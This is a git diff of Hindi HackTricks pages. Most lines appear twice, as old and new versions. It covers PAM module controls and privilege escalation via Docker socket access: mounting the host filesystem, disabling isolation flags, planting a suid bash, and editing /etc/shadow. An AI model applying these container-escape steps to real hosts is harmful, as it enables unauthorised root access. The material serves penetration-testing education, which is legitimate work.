* **session**: इस क्षेत्र में मॉड्यूल एक उपयोगकर्ता के लिए एक सेवा की स्थापना या सफाई के दौरान होने वाली किसी भी चीज़ को कर सकते हैं। इसमें कुछ भी हो सकता है; एक सिस्टम-व्यापी प्रारंभिक स्क्रिप्ट लॉन्च करना, विशेष लॉगिंग करना, उपयोगकर्ता के होम निर्देशिका को माउंट करना, या संसाधन सीमाएं सेट करना शामिल हो सकता है।
|
||||
* **auth**: 'auth' क्षेत्र (मैं इसे एक क्षेत्र कहता हूँ - दस्तावेज़ इसे 'प्रबंधन समूह' या 'सुविधा' के रूप में संदर्भित करते हैं) यह जांचने के लिए जिम्मेदार है कि उपयोगकर्ता वही है जो वे कहते हैं। इस क्षेत्र में सूचीबद्ध मॉड्यूल **आमतौर पर** **पासवर्ड के लिए संकेत** देने का समर्थन करते हैं।
|
||||
* **account**: यह क्षेत्र **खाता सत्यापन कार्यक्षमता** की एक विस्तृत श्रृंखला के लिए जिम्मेदार है। इस सुविधा के लिए कई मॉड्यूल उपलब्ध हैं। **समूह सदस्यता की जांच**, दिन का समय, चाहे एक उपयोगकर्ता खाता स्थानीय हो या दूरस्थ, आदि के आधार पर सेवा के उपयोग पर प्रतिबंध आमतौर पर इस सुविधा का समर्थन करने वाले मॉड्यूल द्वारा लागू किए जाते हैं।
|
||||
* **password**: इस क्षेत्र के मॉड्यूल किसी दी गई सेवा के लिए **पासवर्ड अपडेट करने की आवश्यकता** में कार्यक्षमता के लिए जिम्मेदार होते हैं। ज्यादातर समय, यह खंड काफी 'सामान्य' होता है, बस एक मॉड्यूल को कॉल करता है जो **वर्तमान पासवर्ड के लिए संकेत** देगा, और, मान लिया जाता है कि यह सफल है, तो आपको एक नए के लिए संकेत देगा। अन्य मॉड्यूल भी जोड़े जा सकते हैं जैसे कि **पासवर्ड जटिलता** या शब्दकोश जांच करने के लिए, जैसे कि pam_cracklib और pam_pwcheck मॉड्यूल द्वारा किया जाता है।
|
||||
* **session**: इस क्षेत्र के मॉड्यूल किसी दी गई उपयोगकर्ता के लिए सेवा की **स्थापना या सफाई के दौरान** होने वाली कई चीजों को करते हैं। इसमें कई चीजें शामिल हो सकती हैं; सिस्टम-व्यापी प्रारंभिक स्क्रिप्ट लॉन्च करना, विशेष लॉगिंग करना, **उपयोगकर्ता की होम डायरेक्टरी को माउंट करना**, या संसाधन सीमाएं निर्धारित करना।
|
||||
|
||||
## **PAM मॉड्यूल नियंत्रण**
|
||||
|
||||
**मध्य स्तंभ** में एक कीवर्ड होता है जो मूल रूप से निर्धारित करता है कि **PAM को क्या करना चाहिए अगर मॉड्यूल सफल होता है या असफल होता है**। इन कीवर्ड को PAM-भाषा में 'नियंत्रण' कहा जाता है। 90% मामलों में, आप आम कीवर्ड \(**requisite**, **required**, **sufficient** या **optional**\) में से एक का उपयोग कर सकते हैं। हालांकि, यह PAM की लचीलापन और शक्ति को खोलने के लिए केवल बर्फ की टिप है।
|
||||
**मध्य कॉलम** एक कीवर्ड रखता है जो मूल रूप से निर्धारित करता है कि **PAM को क्या करना चाहिए यदि मॉड्यूल सफल होता है या विफल होता है**। इन कीवर्ड्स को PAM में 'नियंत्रण' कहा जाता है। 90% मामलों में, आप आम कीवर्ड्स में से एक का उपयोग कर सकते हैं (**requisite**, **required**, **sufficient** या **optional**\)। हालांकि, यह PAM की लचीलापन और शक्ति को उजागर करने के मामले में केवल शुरुआत है।
|
||||
|
||||
* **required**: यदि 'required' मॉड्यूल एक स्थिति लौटाता है जो **'सफलता' नहीं है**, तो **ऑपरेशन हमेशा असफल होगा**, लेकिन केवल उसके नीचे के मॉड्यूलों को आमंत्रित करने के बाद। शायद पहली नज़र में यह बेहद बेहद अव्यावहारिक लगता है, लेकिन यह उपयोगकर्ता के दृष्टिकोण से हमेशा एक ही तरीके से काम करने का उद्देश्य पूरा करता है। इसका परिणामस्वरूप, एक संभावित क्रैकर के लिए **यह असंभव हो जाता है** कि वह निर्धारित करें **कौन सा मॉड्यूल** ने **असफलता** का **कारण** किया है।
|
||||
* **requisite**: यदि 'requisite' मॉड्यूल असफल होता है, तो **ऑपरेशन** न केवल **असफल होता है**, बल्कि ऑपरेशन **तुरंत असफल हो जाता है** और किसी अन्य मॉड्यूल को आमंत्रित नहीं करता है।
|
||||
* **sufficient**: यदि **sufficient** मॉड्यूल **सफल होता है**, तो इससे सेवा के उपयोग के लिए उस क्षेत्र में sufficient मॉड्यूल की आवश्यकताओं को पूरा करने के लिए पर्याप्त होता है, और **इसके नीचे सूचीबद्ध अन्य 'sufficient' मॉड्यूल आमंत्रित नहीं होते हैं**। **यदि यह असफल होता है, तो ऑपरेशन असफल होता है जब तक इसके बाद आमंत्रित होने वाला मॉड्यूल सफल न हो**।
|
||||
* **optional**: 'optional' मॉड्यूल, pam\(8\) मैनपेज के अनुसार, **केवल तब ऑपरेशन को असफल करेगा जब यह सुविधा के लिए स्टैक में केवल मॉड्यूल हो**।
|
||||
* **required**: यदि 'required' मॉड्यूल एक स्थिति वापस करता है जो **'सफलता' नहीं है**, तो **ऑपरेशन अंततः हमेशा विफल होगा**, लेकिन केवल उसके नीचे के **मॉड्यूल को आमंत्रित करने के बाद**। पहली नजर में यह बेमानी लग सकता है, लेकिन इसका उद्देश्य **हमेशा उपयोगकर्ता के दृष्टिकोण से समान तरीके से कार्य करना है** जो सेवा का उपयोग करने की कोशिश कर रहा है। इसका नेट प्रभाव यह है कि यह **असंभव** हो जाता है कि एक संभावित क्रैकर **निर्धारित कर सके** कि **कौन सा** **मॉड्यूल** ने **विफलता** का कारण बना।
|
||||
* **requisite**: यदि 'requisite' मॉड्यूल विफल होता है, तो **ऑपरेशन** न केवल **विफल होता है**, बल्कि ऑपरेशन **तुरंत** **विफलता के साथ समाप्त हो जाता है** बिना किसी अन्य मॉड्यूल को आमंत्रित किए।
|
||||
* **sufficient**: यदि **sufficient** मॉड्यूल **सफल होता है**, तो यह सेवा के उपयोग के लिए उस क्षेत्र में पर्याप्त मॉड्यूल की आवश्यकताओं को संतुष्ट करने के लिए पर्याप्त है, और **उसके नीचे सूचीबद्ध 'sufficient' के रूप में अन्य मॉड्यूल को आमंत्रित नहीं किया जाता है**। **यदि यह विफल होता है, तो ऑपरेशन विफल हो जाता है जब तक कि इसके बाद आमंत्रित किया गया मॉड्यूल सफल नहीं होता है**।
|
||||
* **optional**: 'optional' मॉड्यूल के अनुसार, pam(8) मैनपेज के अनुसार, **केवल तब ऑपरेशन को विफल करेगा यदि यह उस सुविधा के लिए स्टैक में एकमात्र मॉड्यूल है**।
|
||||
|
||||
## उदाहरण
|
||||
|
||||
हमारे उदाहरण फ़ाइल में, हमारे पास चार मॉड्यूल हैं जो auth क्षेत्र के लिए स्टैक किए गए हैं:
|
||||
हमारी उदाहरण फ़ाइल में, हमारे पास auth क्षेत्र के लिए चार मॉड्यूल स्टैक्ड हैं:
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_env.so
|
||||
auth sufficient /lib/security/pam_ldap.so
|
||||
auth required /lib/security/pam_unix.so try_first_pass
|
||||
```
|
||||
जैसा कि मॉड्यूल क्रम में आवंटित किया जाता है, यहां दिया गया है कि क्या होगा:
|
||||
मॉड्यूल्स को जिस क्रम में बुलाया जाता है, यहाँ पर जो होगा वह इस प्रकार है:
|
||||
|
||||
1. 'pam_securetty' मॉड्यूल अपनी कॉन्फ़िग फ़ाइल, '/etc/securetty', की जांच करेगा और देखेगा कि इस लॉगिन के लिए इस्तेमाल की जा रही टर्मिनल फ़ाइल में सूचीबद्ध है या नहीं। यदि ऐसा नहीं है, तो रूट लॉगिन की अनुमति नहीं होगी। यदि आप किसी 'बुरी' टर्मिनल पर रूट के रूप में लॉग इन करने की कोशिश करते हैं, तो यह मॉड्यूल विफल हो जाएगा। यहां दिया गया है कि यदि मॉड्यूल 'अनिवार्य' के रूप में सूचीबद्ध होता, तो ऑपरेशन किसी भी स्थिति परिवर्तन के बिना तत्काल विफलता के साथ समाप्त हो जाएगा, बिना किसी अन्य मॉड्यूल को आह्वान किए।
|
||||
2. 'pam_env' मॉड्यूल व्यवस्थापक द्वारा /etc/security/pam_env.conf में सेट किए गए आधार पर पर्याप्त मानों को सेट करेगा। Redhat 9, Fedora Core 1 और Mandrake 9.2 के डिफ़ॉल्ट सेटअप पर, इस मॉड्यूल के लिए कॉन्फ़िगरेशन फ़ाइल वास्तव में कोई मान सेट नहीं करती है। इसका उपयोग एक उपयोगकर्ता द्वारा SSH के माध्यम से लॉग इन होने पर स्वचालित रूप से एक DISPLAY पर्यावरण मान सेट करने के लिए किया जा सकता है ताकि वे अगर वे अपने रिमोट डेस्कटॉप पर 'xterm' चलाना चाहते हैं तो खुद सेट नहीं करना पड़े \(हालांकि इसे OpenSSH द्वारा स्वचालित रूप से देखभाल किया जा सकता है\)
|
||||
3. 'pam_ldap' मॉड्यूल उपयोगकर्ता से पासवर्ड के लिए प्रश्न पूछेगा और फिर प्रमाणित करने के लिए ldap निर्देशिका की जांच करेगा जो '/etc/ldap.conf' में दिखाई देती है। यदि यह विफल होता है, तो ऑपरेशन अगर 'pam_unix' उपयोगकर्ता की प्रमाणिता में सफल होता है तो भी सफल हो सकता है। यदि pam_ldap सफल होता है, तो 'pam_unix' को आह्वान नहीं किया जाएगा।
|
||||
4. 'pam_unix' मॉड्यूल, इस मामले में, उपयोगकर्ता से पासवर्ड के लिए प्रश्न पूछने की कोशिश नहीं करेगा। 'try_first_pass' तर्क मॉड्यूल को बताएगा कि यह पिछले मॉड्यूल द्वारा दिए गए पासवर्ड का उपयोग करेगा \(इस मामले में, pam_ldap\)। यह मान्यता प्राप्त करने के लिए उपयोगकर्ता की प्रमाणिता का प्रयास करेगा उपयोगकर्ता को मानक getpw\* सिस्टम कॉल का उपयोग करके। यदि pam_unix विफल होता है और pam_ldap विफल होता है, तो ऑपरेशन विफल होगा। यदि pam_ldap विफल होता है, लेकिन pam_unix सफल होता है, तो ऑपरेशन सफल होगा \(यह बहुत मददगार है जब रूट ldap निर्देशिका में नहीं है, लेकिन वह अभी भी स्थानीय /etc/passwd फ़ाइल में है!\)।
|
||||
1. '**pam\_securetty**' मॉड्यूल अपनी कॉन्फ़िग फ़ाइल, **`/etc/securetty`**, की जाँच करेगा और देखेगा कि इस लॉगिन के लिए इस्तेमाल किया जा रहा टर्मिनल फ़ाइल में सूचीबद्ध है या नहीं। यदि **नहीं है, तो रूट लॉगिन्स की अनुमति नहीं होगी**। यदि आप 'बुरे' टर्मिनल पर रूट के रूप में लॉग इन करने की कोशिश करते हैं, तो यह मॉड्यूल विफल हो जाएगा। चूँकि यह 'आवश्यक' है, यह स्टैक में सभी मॉड्यूल्स को बुलाएगा। हालाँकि, यदि उनमें से हर एक सफल होता है, तो भी लॉगिन विफल हो जाएगा। ध्यान देने योग्य बात यह है कि यदि मॉड्यूल को 'अनिवार्य' के रूप में सूचीबद्ध किया गया होता, तो ऑपरेशन तुरंत विफलता के साथ समाप्त हो जाता, बिना किसी अन्य मॉड्यूल्स को बुलाए, चाहे उनकी स्थिति कुछ भी हो।
|
||||
2. '**pam\_env**' मॉड्यूल **पर्यावरण चर** सेट करेगा जो कि प्रशासक ने /etc/security/pam\_env.conf में सेटअप किया है। Redhat 9, Fedora Core 1, और Mandrake 9.2 की डिफ़ॉल्ट सेटअप पर, इस मॉड्यूल की कॉन्फ़िगरेशन फ़ाइल वास्तव में कोई चर सेट नहीं करती है। इसका एक अच्छा उपयोग यह हो सकता है कि एक उपयोगकर्ता जो SSH के माध्यम से लॉग इन कर रहा है, उसके लिए एक DISPLAY पर्यावरण चर स्वचालित रूप से सेट करना ताकि अगर वे अपने रिमोट डेस्कटॉप पर एक 'xterm' वापस भेजना चाहते हैं तो उन्हें खुद सेट करने की जरूरत नहीं होती (हालांकि यह OpenSSH द्वारा स्वतः ही संभाला जा सकता है)।
|
||||
3. '**pam\_ldap**' मॉड्यूल उपयोगकर्ता से **पासवर्ड के लिए प्रॉम्प्ट** करेगा, और फिर **`/etc/ldap.conf`** में दर्शाए गए ldap डायरेक्टरी की जाँच करके उपयोगकर्ता को प्रमाणित करेगा। यदि यह विफल होता है, तो ऑपरेशन अभी भी सफल हो सकता है यदि 'pam\_unix' उपयोगकर्ता को प्रमाणित करने में सफल होता है। यदि pam\_ldap सफल होता है, तो 'pam\_unix' को बुलाया नहीं जाएगा।
|
||||
4. इस मामले में '**pam\_unix**' मॉड्यूल, **उपयोगकर्ता से पासवर्ड के लिए प्रॉम्प्ट नहीं करेगा**। 'try\_first\_pass' तर्क इस मॉड्यूल को बताएगा कि **पहले मॉड्यूल द्वारा दिए गए पासवर्ड का उपयोग करें** \(इस मामले में, pam\_ldap\). यह मानक getpw\* सिस्टम कॉल्स का उपयोग करके उपयोगकर्ता को प्रमाणित करने की कोशिश करेगा। यदि pam\_unix विफल होता है, और pam\_ldap भी विफल होता है, तो ऑपरेशन विफल हो जाएगा। यदि pam\_ldap विफल होता है, लेकिन pam\_unix सफल होता है, तो ऑपरेशन सफल होगा \(यह उन मामलों में बहुत मददगार है जहाँ रूट ldap डायरेक्टरी में नहीं है, लेकिन अभी भी स्थानीय /etc/passwd फ़ाइल में है!\).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में शामिल हों या मुझे **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) पर **फॉलो करें**।
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,28 @@
|
|||
# Docker सॉकेट का दुरुपयोग करके प्रिविलेज एस्कलेशन
|
||||
# Docker Socket का दुरुपयोग करके Privilege Escalation
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- [**The PEASS परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **हैकिंग ट्रिक्स को साझा करें और PRs सबमिट करके [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में अपना योगदान दें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
|
||||
</details>
|
||||
|
||||
कुछ ऐसे मौके होते हैं जहां आपके पास **डॉकर सॉकेट तक पहुंच** होती है और आप इसे **प्रिविलेज एस्कलेशन** के लिए उपयोग करना चाहते हैं। कुछ कार्रवाई बहुत संदिग्ध हो सकती है और आप उन्हें टालना चाहेंगे, इसलिए यहां आपको प्रिविलेज एस्कलेशन के लिए उपयोगी होने वाले विभिन्न फ्लैग्स मिलेंगे:
|
||||
कुछ अवसरों पर आपके पास केवल **docker socket तक पहुंच** होती है और आप इसका उपयोग **privileges बढ़ाने** के लिए करना चाहते हैं। कुछ क्रियाएं बहुत संदिग्ध हो सकती हैं और आप उनसे बचना चाह सकते हैं, इसलिए यहां आपको विभिन्न फ्लैग्स मिलेंगे जो privileges बढ़ाने के लिए उपयोगी हो सकते हैं:
|
||||
|
||||
### माउंट के माध्यम से
|
||||
|
||||
आप एक रूट के रूप में चल रहे कंटेनर में **फ़ाइल सिस्टम** के विभिन्न हिस्सों को **माउंट** कर सकते हैं और उन्हें **एक्सेस** कर सकते हैं।\
|
||||
आप कंटेनर में प्रिविलेज एस्कलेशन के लिए **माउंट का दुरुपयोग कर सकते हैं**।
|
||||
आप **filesystem** के विभिन्न भागों को रूट के रूप में चल रहे कंटेनर में **माउंट** कर सकते हैं और उन्हें **एक्सेस** कर सकते हैं।\
|
||||
आप कंटेनर के अंदर privileges बढ़ाने के लिए माउंट का भी **दुरुपयोग** कर सकते हैं।
|
||||
|
||||
* **`-v /:/host`** -> कंटेनर में होस्ट फ़ाइल सिस्टम को माउंट करें ताकि आप **होस्ट फ़ाइल सिस्टम को पढ़ सकें।**
|
||||
* यदि आप **होस्ट में होने की तरह महसूस करना चाहते हैं** लेकिन कंटेनर में होने के बावजूद आपके पास अन्य सुरक्षा युक्तियों को अक्षम करने के लिए झंडे का उपयोग करें:
|
||||
* **`-v /:/host`** -> होस्ट filesystem को कंटेनर में माउंट करें ताकि आप होस्ट filesystem को **पढ़ सकें।**
|
||||
* यदि आप कंटेनर में होते हुए भी होस्ट की तरह महसूस करना चाहते हैं तो आप निम्नलिखित फ्लैग्स का उपयोग करके अन्य रक्षा तंत्रों को अक्षम कर सकते हैं:
|
||||
* `--privileged`
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
|
@ -34,12 +32,41 @@
|
|||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> यह पिछली विधि के समान है, लेकिन यहां हम **डिवाइस डिस्क को माउंट कर रहे हैं**। फिर, कंटेनर में `mount /dev/sda1 /mnt` चलाएं और आप `/mnt` में **होस्ट फ़ाइल सिस्टम तक पहुंच सकते हैं**।
|
||||
* होस्ट में `fdisk -l` चलाएं और `</dev/sda1>` डिवाइस को माउंट करने के लिए खोजें
|
||||
* **`-v /tmp:/host`** -> किसी कारण से आप केवल होस्ट से कुछ निर्देशिका माउंट कर सकते हैं और आपके पास होस्ट में एक्सेस होता है। इसे माउंट करें और माउंटेड निर्देशिका में **suid** के साथ **`/bin/bash`** बनाएं ताकि आप इसे होस्ट से चला सकें और रूट तक एस्केलेट कर सकें।
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> यह पिछली विधि के समान है, लेकिन यहां हम **डिवाइस डिस्क को माउंट** कर रहे हैं। फिर, कंटेनर के अंदर `mount /dev/sda1 /mnt` चलाएं और आप `/mnt` में **होस्ट filesystem** को **एक्सेस** कर सकते हैं
|
||||
* माउंट करने के लिए `</dev/sda1>` डिवाइस खोजने के लिए होस्ट में `fdisk -l` चलाएं
|
||||
* **`-v /tmp:/host`** -> यदि किसी कारण से आप **केवल कुछ निर्देशिका** को होस्ट से माउंट कर सकते हैं और आपके पास होस्ट के अंदर एक्सेस है। इसे माउंट करें और माउंट की गई निर्देशिका में **suid** के साथ एक **`/bin/bash`** बनाएं ताकि आप इसे होस्ट से चला सकें और रूट तक एस्केलेट कर सकें।
|
||||
|
||||
{% hint style="info" %}
|
||||
ध्यान दें कि शायद आप `/tmp` फ़ोल्डर को माउंट नहीं कर सकते हैं लेकिन आप किसी **अलग लिखने योग्य फ़ोल्डर** को माउंट कर सक
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
|
||||
ध्यान दें कि शायद आप `/tmp` फोल्डर को माउंट नहीं कर सकते हैं लेकिन आप एक **अलग लिखने योग्य फोल्डर** को माउंट कर सकते हैं। लिखने योग्य निर्देशिकाओं को खोजने के लिए आप उपयोग कर सकते हैं: `find / -writable -type d 2>/dev/null`
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
**ध्यान दें कि लिनक्स मशीन की सभी निर्देशिकाएं suid बिट का समर्थन नहीं करेंगी!** suid बिट का समर्थन करने वाली निर्देशिकाओं की जांच करने के लिए `mount | grep -v "nosuid"` चलाएं। उदाहरण के लिए आमतौर पर `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं।
|
||||
|
||||
यह भी ध्यान दें कि यदि आप **`/etc`** या किसी अन्य फोल्डर को माउंट कर सकते हैं जिसमें कॉन्फ़िगरेशन फाइलें होती हैं, तो आप उन्हें डॉकर कंटेनर से रूट के रूप में बदल सकते हैं ताकि होस्ट में उनका **दुरुपयोग** करके privileges बढ़ा सकें (शायद `/etc/shadow` में संशोधन करके)
|
||||
{% endhint %}
|
||||
|
||||
### कंटेनर से बचना
|
||||
|
||||
* **`--privileged`** -> इस फ्लैग के साथ आप [कंटेनर से सभी अलगाव को हटा देते हैं](docker-privileged.md#what-affects)। रूट के रूप में privileged कंटेनर से बचने की तकनीकों की जांच करें [docker-breakout-privilege-escalation/#automatic-enumeration-and-escape](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)।
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [capabilities का दुरुपयोग करके एस्केलेट करने](../linux-capabilities.md) के लिए, **कंटेनर को वह क्षमता प्रदान करें** और अन्य सुरक्षा विधियों को अक्षम करें जो एक्सप्लॉइट को काम करने से रोक सकते हैं।
|
||||
|
||||
### Curl
|
||||
|
||||
इस पृष्ठ पर हमने docker फ्लैग्स का उपयोग करके privileges बढ़ाने के तरीकों पर चर्चा की है, आप इन तरीकों का दुरुपयोग करने के **तरीके curl** कमांड का उपयोग करके पृष्ठ में पा सकते हैं:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,50 +1,81 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की अनुमति** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS परिवार**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
